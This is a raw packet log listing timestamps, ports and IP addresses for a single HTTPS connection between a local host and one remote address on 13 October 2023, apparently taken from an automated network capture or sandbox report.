Oct 13, 2023 16:06:11.485616922 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.488491058 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.488544941 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.488708019 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.488717079 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.488765001 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.508371115 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.508423090 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.508472919 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.508482933 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.508527994 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.508544922 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.510972023 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.511018038 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.511081934 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.511090994 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.511101961 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.511126041 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.513762951 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.513804913 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.513843060 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.513849974 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.513874054 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.513890028 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.517043114 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.517090082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.517117023 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.517122984 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.517146111 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.517160892 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.548437119 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.548470020 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.548536062 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.548553944 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.548593998 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.548609972 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.550474882 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.550503969 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.550544977 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.550550938 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.550590038 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.553869963 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.553895950 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.553937912 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.553942919 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.553965092 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.553982973 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.556602955 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.556632042 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.556679964 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.556685925 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.556760073 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.597980976 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.598012924 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.598079920 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.598095894 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.598139048 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.598155022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.600315094 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.600334883 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.600404024 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.600423098 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.600461960 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.603506088 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.603528976 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.603581905 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.603596926 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.603729963 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.603729963 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.606895924 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.606930017 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.607103109 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.607111931 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.607157946 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.609462023 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.609492064 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.609551907 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.609558105 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.609591961 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.609606028 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.612441063 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.612469912 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.612510920 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.612517118 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.612544060 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.612554073 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.615497112 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.615521908 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.615560055 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.615566015 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.615592003 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.615606070 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.618704081 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.618727922 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.618767023 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.618772984 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.618798018 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.618814945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.621292114 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.621314049 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.621382952 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.621390104 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.621428013 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.623639107 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.623663902 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.623716116 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.623723030 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.623749018 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.623759031 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.627062082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.627087116 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.627135038 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.627141953 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.627171993 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.627186060 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.630055904 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.630081892 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.630135059 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.630141973 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.630192041 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.630218983 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.632603884 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.632627010 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.632672071 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.632679939 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.632810116 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.632810116 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.635876894 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.635895967 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.635946035 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.635952950 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.635992050 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.638745070 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.638763905 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.638835907 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.638844013 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.638887882 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.642260075 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.642280102 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.642352104 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.642359972 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.642400980 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.644573927 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.644615889 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.644699097 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.644706964 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.644763947 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.647723913 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.647768021 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.647802114 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.647808075 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.647836924 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.647845030 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.650757074 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.650798082 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.650836945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.650842905 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.650873899 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.650891066 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.653273106 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.653312922 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.653342009 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.653347969 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.653373003 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.653381109 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.656167030 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.656208038 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.656258106 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.656265020 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.656291008 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.656307936 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.659455061 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.659497976 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.659528017 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.659533024 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.659562111 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.659571886 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.662247896 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.662288904 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.662333012 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.662339926 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.662364006 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.662378073 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.664851904 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.664891958 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.664923906 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.664930105 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.664956093 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.664974928 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.668343067 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.668386936 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.668416023 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.668422937 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.668451071 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.668467045 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.671109915 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.671153069 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.671188116 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.671194077 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.671221018 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.671228886 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.673779011 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.673820019 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.673861027 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.673866987 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.673893929 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.673911095 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.676347971 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.676388979 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.676444054 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.676451921 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.676476002 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.676492929 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.679832935 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.679909945 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.679917097 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.679939032 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.679964066 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.679981947 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.682713985 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.682754993 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.682780981 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.682786942 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.682811022 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.682832003 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.685483932 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.685528994 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.685554981 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.685560942 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.685587883 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.685600042 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.688805103 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.688852072 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.688890934 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.688896894 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.688924074 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.688937902 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.691544056 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.691586018 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.691605091 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.691612005 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.691637039 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.691648960 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.694279909 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.694330931 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.694350958 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.694367886 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.694399118 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.694410086 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.697073936 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.697118044 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.697154999 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.697160959 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.697191000 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.697208881 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.699723959 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.699765921 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.699855089 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.699855089 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.699862957 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.699899912 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.703114033 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.703156948 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.703197002 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.703203917 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.703226089 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.703241110 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.705965996 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.706007004 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.706065893 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.706072092 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.706104040 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.706124067 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.708631039 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.708674908 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.708702087 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.708709002 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.708733082 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.708754063 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.712198019 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.712241888 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.712291956 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.712299109 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.712323904 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.712347031 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.714301109 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.714344025 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.714375973 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.714381933 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.714407921 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.714430094 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.716876984 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.716917992 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.716952085 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.716958046 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.716986895 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.717006922 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.718653917 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.718697071 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.718724012 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.718730927 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.718755960 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.718775988 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.721116066 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.721162081 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.721194029 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.721199989 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.721226931 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.721235991 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.722884893 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.722928047 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.722982883 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.722990990 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.723020077 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.723040104 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.725423098 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.725498915 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.725509882 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.725523949 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.725553989 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.725572109 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.727217913 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.727260113 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.727298975 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.727308989 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.727338076 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.727349043 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.729696035 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.729742050 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.729769945 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.729777098 CEST	443	49779	104.21.86.8	192.168.2.4
Oct 13, 2023 16:06:11.729806900 CEST	49779	443	192.168.2.4	104.21.86.8
Oct 13, 2023 16:06:11.729820013 CEST	49779	443	192.168.2.4	104.21.86.8
